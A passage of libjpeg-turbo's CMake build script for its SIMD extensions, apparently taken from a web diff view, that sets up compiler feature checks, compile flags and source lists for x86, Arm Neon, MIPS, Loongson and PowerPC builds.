${CMAKE_CURRENT_SOURCE_DIR}/${DEPFILE})
|
||||
endif()
|
||||
if(${file} MATCHES jdmerge)
|
||||
string(REGEX REPLACE "jdmerge" "jdmrgext" DEPFILE ${file})
|
||||
set(OBJECT_DEPENDS ${OBJECT_DEPENDS}
|
||||
${CMAKE_CURRENT_SOURCE_DIR}/${DEPFILE})
|
||||
endif()
|
||||
set(OBJECT_DEPENDS ${OBJECT_DEPENDS} ${INC_FILES})
|
||||
if(MSVC_IDE OR XCODE)
|
||||
# The CMake Visual Studio generators do not work properly with the ASM_NASM
|
||||
# language, so we have to go rogue here and use a custom command like we
|
||||
# did in prior versions of libjpeg-turbo. (This is why we can't have nice
|
||||
# things.)
|
||||
string(REGEX REPLACE "${CPU_TYPE}/" "" filename ${file})
|
||||
set(SIMD_OBJ ${OBJDIR}/${filename}${CMAKE_C_OUTPUT_EXTENSION})
|
||||
add_custom_command(OUTPUT ${SIMD_OBJ} DEPENDS ${file} ${OBJECT_DEPENDS}
|
||||
COMMAND ${CMAKE_ASM_NASM_COMPILER} -f${CMAKE_ASM_NASM_OBJECT_FORMAT}
|
||||
${CMAKE_ASM_NASM_FLAGS} ${CMAKE_CURRENT_SOURCE_DIR}/${file}
|
||||
-o${SIMD_OBJ})
|
||||
set(SIMD_OBJS ${SIMD_OBJS} ${SIMD_OBJ})
|
||||
else()
|
||||
set_source_files_properties(${file} PROPERTIES OBJECT_DEPENDS
|
||||
"${OBJECT_DEPENDS}")
|
||||
endif()
|
||||
endforeach()
|
||||
|
||||
if(MSVC_IDE OR XCODE)
|
||||
set(SIMD_OBJS ${SIMD_OBJS} PARENT_SCOPE)
|
||||
add_library(simd OBJECT ${CPU_TYPE}/jsimd.c)
|
||||
add_custom_target(simd-objs DEPENDS ${SIMD_OBJS})
|
||||
add_dependencies(simd simd-objs)
|
||||
else()
|
||||
add_library(simd OBJECT ${SIMD_SOURCES} ${CPU_TYPE}/jsimd.c)
|
||||
endif()
|
||||
if(NOT WIN32 AND (CMAKE_POSITION_INDEPENDENT_CODE OR ENABLE_SHARED))
|
||||
set_target_properties(simd PROPERTIES POSITION_INDEPENDENT_CODE 1)
|
||||
endif()
|
||||
|
||||
|
||||
###############################################################################
|
||||
# Arm (Intrinsics or GAS)
|
||||
###############################################################################
|
||||
|
||||
elseif(CPU_TYPE STREQUAL "arm64" OR CPU_TYPE STREQUAL "arm")
|
||||
|
||||
# If Neon instructions are not explicitly enabled at compile time (e.g. using
|
||||
# -mfpu=neon) with an AArch32 Linux or Android build, then the AArch32 SIMD
|
||||
# dispatcher will parse /proc/cpuinfo to determine whether the Neon SIMD
|
||||
# extensions can be enabled at run time. In order to support all AArch32 CPUs
|
||||
# using the same code base, i.e. to support run-time FPU and Neon
|
||||
# auto-detection, it is necessary to compile the scalar C source code using
|
||||
# -mfloat-abi=soft (which is usually the default) but compile the intrinsics
|
||||
# implementation of the Neon SIMD extensions using -mfloat-abi=softfp. The
|
||||
# following test determines whether -mfloat-abi=softfp should be explicitly
|
||||
# added to the compile flags for the intrinsics implementation of the Neon SIMD
|
||||
# extensions.
|
||||
if(BITS EQUAL 32)
|
||||
check_c_source_compiles("
|
||||
#if defined(__ARM_NEON__) || (!defined(__linux__) && !defined(ANDROID) && !defined(__ANDROID__))
|
||||
#error \"Neon run-time auto-detection will not be used\"
|
||||
#endif
|
||||
#if __ARM_PCS_VFP == 1
|
||||
#error \"float ABI = hard\"
|
||||
#endif
|
||||
#if __SOFTFP__ != 1
|
||||
#error \"float ABI = softfp\"
|
||||
#endif
|
||||
int main(void) { return 0; }" NEED_SOFTFP_FOR_INTRINSICS)
|
||||
if(NEED_SOFTFP_FOR_INTRINSICS)
|
||||
set(SOFTFP_FLAG -mfloat-abi=softfp)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
if(BITS EQUAL 32)
|
||||
set(CMAKE_REQUIRED_FLAGS "-mfpu=neon ${SOFTFP_FLAG}")
|
||||
check_c_source_compiles("
|
||||
#include <arm_neon.h>
|
||||
int main(int argc, char **argv) {
|
||||
uint16x8_t input = vdupq_n_u16((uint16_t)argc);
|
||||
uint8x8_t output = vmovn_u16(input);
|
||||
return (int)output[0];
|
||||
}" HAVE_NEON)
|
||||
if(NOT HAVE_NEON)
|
||||
simd_fail("SIMD extensions not available for this architecture")
|
||||
return()
|
||||
endif()
|
||||
endif()
|
||||
check_c_source_compiles("
|
||||
#include <arm_neon.h>
|
||||
int main(int argc, char **argv) {
|
||||
int16_t input[12];
|
||||
int16x4x3_t output;
|
||||
int i;
|
||||
for (i = 0; i < 12; i++) input[i] = (int16_t)argc;
|
||||
output = vld1_s16_x3(input);
|
||||
vst3_s16(input, output);
|
||||
return (int)input[0];
|
||||
}" HAVE_VLD1_S16_X3)
|
||||
check_c_source_compiles("
|
||||
#include <arm_neon.h>
|
||||
int main(int argc, char **argv) {
|
||||
uint16_t input[8];
|
||||
uint16x4x2_t output;
|
||||
int i;
|
||||
for (i = 0; i < 8; i++) input[i] = (uint16_t)argc;
|
||||
output = vld1_u16_x2(input);
|
||||
vst2_u16(input, output);
|
||||
return (int)input[0];
|
||||
}" HAVE_VLD1_U16_X2)
|
||||
check_c_source_compiles("
|
||||
#include <arm_neon.h>
|
||||
int main(int argc, char **argv) {
|
||||
uint8_t input[64];
|
||||
uint8x16x4_t output;
|
||||
int i;
|
||||
for (i = 0; i < 64; i++) input[i] = (uint8_t)argc;
|
||||
output = vld1q_u8_x4(input);
|
||||
vst4q_u8(input, output);
|
||||
return (int)input[0];
|
||||
}" HAVE_VLD1Q_U8_X4)
|
||||
if(BITS EQUAL 32)
|
||||
unset(CMAKE_REQUIRED_FLAGS)
|
||||
endif()
|
||||
configure_file(arm/neon-compat.h.in arm/neon-compat.h @ONLY)
|
||||
include_directories(${CMAKE_CURRENT_BINARY_DIR}/arm)
|
||||
|
||||
# GCC 11 and earlier and some older versions of Clang do not have a full or
|
||||
# optimal set of Neon intrinsics, so for performance reasons, when using those
|
||||
# compilers, we default to using the older GAS implementation of the Neon SIMD
|
||||
# extensions for certain algorithms. The presence or absence of the three
|
||||
# intrinsics we tested above is a reasonable proxy for this, except with GCC 10
|
||||
# and 11.
|
||||
if((HAVE_VLD1_S16_X3 AND HAVE_VLD1_U16_X2 AND HAVE_VLD1Q_U8_X4 AND
|
||||
(NOT CMAKE_COMPILER_IS_GNUCC OR
|
||||
CMAKE_C_COMPILER_VERSION VERSION_EQUAL 12.0.0 OR
|
||||
CMAKE_C_COMPILER_VERSION VERSION_GREATER 12.0.0)))
|
||||
set(DEFAULT_NEON_INTRINSICS 1)
|
||||
else()
|
||||
set(DEFAULT_NEON_INTRINSICS 0)
|
||||
endif()
|
||||
option(NEON_INTRINSICS
|
||||
"Because GCC (as of this writing) and some older versions of Clang do not have a full or optimal set of Neon intrinsics, for performance reasons, the default when building libjpeg-turbo with those compilers is to continue using the older GAS implementation of the Neon SIMD extensions for certain algorithms. Setting this option forces the full Neon intrinsics implementation to be used with all compilers. Unsetting this option forces the hybrid GAS/intrinsics implementation to be used with all compilers."
|
||||
${DEFAULT_NEON_INTRINSICS})
|
||||
if(NOT NEON_INTRINSICS)
|
||||
enable_language(ASM)
|
||||
|
||||
set(CMAKE_ASM_FLAGS "${CMAKE_C_FLAGS} ${CMAKE_ASM_FLAGS}")
|
||||
|
||||
# Test whether gas-preprocessor.pl would be needed to build the GAS
|
||||
# implementation of the Neon SIMD extensions. If so, then automatically
|
||||
# enable the full Neon intrinsics implementation.
|
||||
if(CPU_TYPE STREQUAL "arm")
|
||||
file(WRITE ${CMAKE_CURRENT_BINARY_DIR}/gastest.S "
|
||||
.text
|
||||
.fpu neon
|
||||
.arch armv7a
|
||||
.object_arch armv4
|
||||
.arm
|
||||
pld [r0]
|
||||
vmovn.u16 d0, q0")
|
||||
else()
|
||||
file(WRITE ${CMAKE_CURRENT_BINARY_DIR}/gastest.S "
|
||||
.text
|
||||
MYVAR .req x0
|
||||
movi v0.16b, #100
|
||||
mov MYVAR, #100
|
||||
.unreq MYVAR")
|
||||
endif()
|
||||
separate_arguments(CMAKE_ASM_FLAGS_SEP UNIX_COMMAND "${CMAKE_ASM_FLAGS}")
|
||||
execute_process(COMMAND ${CMAKE_ASM_COMPILER} ${CMAKE_ASM_FLAGS_SEP}
|
||||
-x assembler-with-cpp -c ${CMAKE_CURRENT_BINARY_DIR}/gastest.S
|
||||
WORKING_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR} RESULT_VARIABLE RESULT
|
||||
OUTPUT_VARIABLE OUTPUT ERROR_VARIABLE ERROR)
|
||||
if(NOT RESULT EQUAL 0)
|
||||
message(WARNING "GAS appears to be broken. Using the full Neon SIMD intrinsics implementation.")
|
||||
set(NEON_INTRINSICS 1 CACHE INTERNAL "" FORCE)
|
||||
endif()
|
||||
endif()
|
||||
boolean_number(NEON_INTRINSICS PARENT_SCOPE)
|
||||
if(NEON_INTRINSICS)
|
||||
add_definitions(-DNEON_INTRINSICS)
|
||||
message(STATUS "Use full Neon SIMD intrinsics implementation (NEON_INTRINSICS = ${NEON_INTRINSICS})")
|
||||
else()
|
||||
message(STATUS "Use partial Neon SIMD intrinsics implementation (NEON_INTRINSICS = ${NEON_INTRINSICS})")
|
||||
endif()
|
||||
|
||||
set(SIMD_SOURCES arm/jcgray-neon.c arm/jcphuff-neon.c arm/jcsample-neon.c
|
||||
arm/jdmerge-neon.c arm/jdsample-neon.c arm/jfdctfst-neon.c
|
||||
arm/jidctred-neon.c arm/jquanti-neon.c)
|
||||
if(NEON_INTRINSICS)
|
||||
set(SIMD_SOURCES ${SIMD_SOURCES} arm/jccolor-neon.c arm/jidctint-neon.c)
|
||||
endif()
|
||||
if(NEON_INTRINSICS OR BITS EQUAL 64)
|
||||
set(SIMD_SOURCES ${SIMD_SOURCES} arm/jidctfst-neon.c)
|
||||
endif()
|
||||
if(NEON_INTRINSICS OR BITS EQUAL 32)
|
||||
set(SIMD_SOURCES ${SIMD_SOURCES} arm/aarch${BITS}/jchuff-neon.c
|
||||
arm/jdcolor-neon.c arm/jfdctint-neon.c)
|
||||
endif()
|
||||
if(BITS EQUAL 32)
|
||||
set_source_files_properties(${SIMD_SOURCES} COMPILE_FLAGS "-mfpu=neon ${SOFTFP_FLAG}")
|
||||
endif()
|
||||
if(NOT NEON_INTRINSICS)
|
||||
string(TOUPPER ${CMAKE_BUILD_TYPE} CMAKE_BUILD_TYPE_UC)
|
||||
set(EFFECTIVE_ASM_FLAGS "${CMAKE_ASM_FLAGS} ${CMAKE_ASM_FLAGS_${CMAKE_BUILD_TYPE_UC}}")
|
||||
message(STATUS "CMAKE_ASM_FLAGS = ${EFFECTIVE_ASM_FLAGS}")
|
||||
|
||||
set(SIMD_SOURCES ${SIMD_SOURCES} arm/aarch${BITS}/jsimd_neon.S)
|
||||
endif()
|
||||
|
||||
if(UNIX AND BITS EQUAL 32)
|
||||
include(CheckSymbolExists)
|
||||
check_symbol_exists(getauxval sys/auxv.h HAVE_GETAUXVAL)
|
||||
if(HAVE_GETAUXVAL)
|
||||
set_source_files_properties(arm/aarch${BITS}/jsimd.c PROPERTIES
|
||||
COMPILE_DEFINITIONS HAVE_GETAUXVAL)
|
||||
endif()
|
||||
check_symbol_exists(elf_aux_info sys/auxv.h HAVE_ELF_AUX_INFO)
|
||||
if(HAVE_ELF_AUX_INFO)
|
||||
set_source_files_properties(arm/aarch${BITS}/jsimd.c PROPERTIES
|
||||
COMPILE_DEFINITIONS HAVE_ELF_AUX_INFO)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
add_library(simd OBJECT ${SIMD_SOURCES} arm/aarch${BITS}/jsimd.c)
|
||||
|
||||
if(CMAKE_POSITION_INDEPENDENT_CODE OR ENABLE_SHARED)
|
||||
set_target_properties(simd PROPERTIES POSITION_INDEPENDENT_CODE 1)
|
||||
endif()
|
||||
|
||||
|
||||
###############################################################################
|
||||
# MIPS (GAS)
|
||||
###############################################################################
|
||||
|
||||
elseif(CPU_TYPE STREQUAL "mips" OR CPU_TYPE STREQUAL "mipsel")
|
||||
|
||||
enable_language(ASM)
|
||||
|
||||
string(TOUPPER ${CMAKE_BUILD_TYPE} CMAKE_BUILD_TYPE_UC)
|
||||
set(EFFECTIVE_ASM_FLAGS "${CMAKE_ASM_FLAGS} ${CMAKE_ASM_FLAGS_${CMAKE_BUILD_TYPE_UC}}")
|
||||
message(STATUS "CMAKE_ASM_FLAGS = ${EFFECTIVE_ASM_FLAGS}")
|
||||
|
||||
set(CMAKE_REQUIRED_FLAGS -mdspr2)
|
||||
|
||||
check_c_source_compiles("
|
||||
#if !(defined(__mips__) && __mips_isa_rev >= 2)
|
||||
#error MIPS DSPr2 is currently only available on MIPS32r2 platforms.
|
||||
#endif
|
||||
int main(void) {
|
||||
int c = 0, a = 0, b = 0;
|
||||
__asm__ __volatile__ (
|
||||
\"precr.qb.ph %[c], %[a], %[b]\"
|
||||
: [c] \"=r\" (c)
|
||||
: [a] \"r\" (a), [b] \"r\" (b)
|
||||
);
|
||||
return c;
|
||||
}" HAVE_DSPR2)
|
||||
|
||||
unset(CMAKE_REQUIRED_FLAGS)
|
||||
|
||||
if(NOT HAVE_DSPR2)
|
||||
simd_fail("SIMD extensions not available for this CPU")
|
||||
return()
|
||||
endif()
|
||||
|
||||
add_library(simd OBJECT mips/jsimd_dspr2.S mips/jsimd.c)
|
||||
|
||||
if(CMAKE_POSITION_INDEPENDENT_CODE OR ENABLE_SHARED)
|
||||
set_target_properties(simd PROPERTIES POSITION_INDEPENDENT_CODE 1)
|
||||
endif()
|
||||
|
||||
###############################################################################
|
||||
# MIPS64 (Intrinsics)
|
||||
###############################################################################
|
||||
|
||||
elseif(CPU_TYPE STREQUAL "loongson" OR CPU_TYPE MATCHES "^mips64")
|
||||
|
||||
set(CMAKE_REQUIRED_FLAGS -Wa,-mloongson-mmi,-mloongson-ext)
|
||||
|
||||
check_c_source_compiles("
|
||||
#if !(defined(__mips__) && __mips_isa_rev < 6)
|
||||
#error \"Loongson MMI can't work with MIPS Release 6+\"
|
||||
#endif
|
||||
int main(void) {
|
||||
int c = 0, a = 0, b = 0;
|
||||
asm (
|
||||
\"paddb %0, %1, %2\"
|
||||
: \"=f\" (c)
|
||||
: \"f\" (a), \"f\" (b)
|
||||
);
|
||||
return c;
|
||||
}" HAVE_MMI)
|
||||
|
||||
unset(CMAKE_REQUIRED_FLAGS)
|
||||
|
||||
if(NOT HAVE_MMI)
|
||||
simd_fail("SIMD extensions not available for this CPU")
|
||||
return()
|
||||
endif()
|
||||
|
||||
set(SIMD_SOURCES mips64/jccolor-mmi.c mips64/jcgray-mmi.c mips64/jcsample-mmi.c
|
||||
mips64/jdcolor-mmi.c mips64/jdmerge-mmi.c mips64/jdsample-mmi.c
|
||||
mips64/jfdctfst-mmi.c mips64/jfdctint-mmi.c mips64/jidctfst-mmi.c
|
||||
mips64/jidctint-mmi.c mips64/jquanti-mmi.c)
|
||||
|
||||
if(CMAKE_COMPILER_IS_GNUCC)
|
||||
foreach(file ${SIMD_SOURCES})
|
||||
set_property(SOURCE ${file} APPEND_STRING PROPERTY COMPILE_FLAGS
|
||||
" -fno-strict-aliasing")
|
||||
endforeach()
|
||||
endif()
|
||||
foreach(file ${SIMD_SOURCES})
|
||||
set_property(SOURCE ${file} APPEND_STRING PROPERTY COMPILE_FLAGS
|
||||
" -Wa,-mloongson-mmi,-mloongson-ext")
|
||||
endforeach()
|
||||
|
||||
add_library(simd OBJECT ${SIMD_SOURCES} mips64/jsimd.c)
|
||||
|
||||
if(CMAKE_POSITION_INDEPENDENT_CODE OR ENABLE_SHARED)
|
||||
set_target_properties(simd PROPERTIES POSITION_INDEPENDENT_CODE 1)
|
||||
endif()
|
||||
|
||||
###############################################################################
|
||||
# PowerPC (Intrinsics)
|
||||
###############################################################################
|
||||
|
||||
elseif(CPU_TYPE STREQUAL "powerpc")
|
||||
|
||||
set(CMAKE_REQUIRED_FLAGS -maltivec)
|
||||
|
||||
check_c_source_compiles("
|
||||
#include <altivec.h>
|
||||
int main(void) {
|
||||
__vector int vi = { 0, 0, 0, 0 };
|
||||
int i[4];
|
||||
vec_st(vi, 0, i);
|
||||
return i[0];
|
||||
}" HAVE_ALTIVEC)
|
||||
|
||||
unset(CMAKE_REQUIRED_FLAGS)
|
||||
|
||||
if(NOT HAVE_ALTIVEC)
|
||||
simd_fail("SIMD extensions not available for this CPU (PowerPC SPE)")
|
||||
return()
|
||||
endif()
|
||||
|
||||
set(SIMD_SOURCES powerpc/jccolor-altivec.c powerpc/jcgray-altivec.c
|
||||
powerpc/jcsample-altivec.c powerpc/jdcolor-altivec.c
|
||||
powerpc/jdmerge-altivec.c powerpc/jdsample-altivec.c
|
||||
powerpc/jfdctfst-altivec.c powerpc/jfdctint-altivec.c
|
||||
powerpc/jidctfst-altivec.c powerpc/jidctint-altivec.c
|
||||
powerpc/jquanti-altivec.c)
|
||||
|
||||
set_source_files_properties(${SIMD_SOURCES} PROPERTIES
|
||||
COMPILE_FLAGS -maltivec)
|
||||
|
||||
if(UNIX)
|
||||
include(CheckSymbolExists)
|
||||
check_symbol_exists(getauxval sys/auxv.h HAVE_GETAUXVAL)
|
||||
if(HAVE_GETAUXVAL)
|
||||
set_source_files_properties(powerpc/jsimd.c PROPERTIES
|
||||
COMPILE_DEFINITIONS HAVE_GETAUXVAL)
|
||||
endif()
|
||||
check_symbol_exists(elf_aux_info sys/auxv.h HAVE_ELF_AUX_INFO)
|
||||
if(HAVE_ELF_AUX_INFO)
|
||||
set_source_files_properties(powerpc/jsimd.c PROPERTIES
|
||||
COMPILE_DEFINITIONS HAVE_ELF_AUX_INFO)
|
||||
endif()
|
||||
endif()
|
||||
|
||||
add_library(simd OBJECT ${SIMD_SOURCES} powerpc/jsimd.c)
|
||||
|
||||
if(CMAKE_POSITION_INDEPENDENT_CODE OR ENABLE_SHARED)
|
||||
set_target_properties(simd PROPERTIES POSITION_INDEPENDENT_CODE 1)
|
||||
endif()
|
||||
|
||||
|
||||
###############################################################################
|
||||
# None
|
||||
###############################################################################
|
||||
|
||||
else()
|
||||
|
||||
simd_fail("SIMD extensions not available for this CPU (${CMAKE_SYSTEM_PROCESSOR})")
|
||||
|
||||
endif() # CPU_TYPE
|
||||
|
||||
if(WITH_SIMD AND ENABLE_STATIC)
|
||||
add_executable(simdcoverage simdcoverage.c)
|
||||
target_link_libraries(simdcoverage jpeg-static)
|
||||
endif()
|
||||
Executable
+1256
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user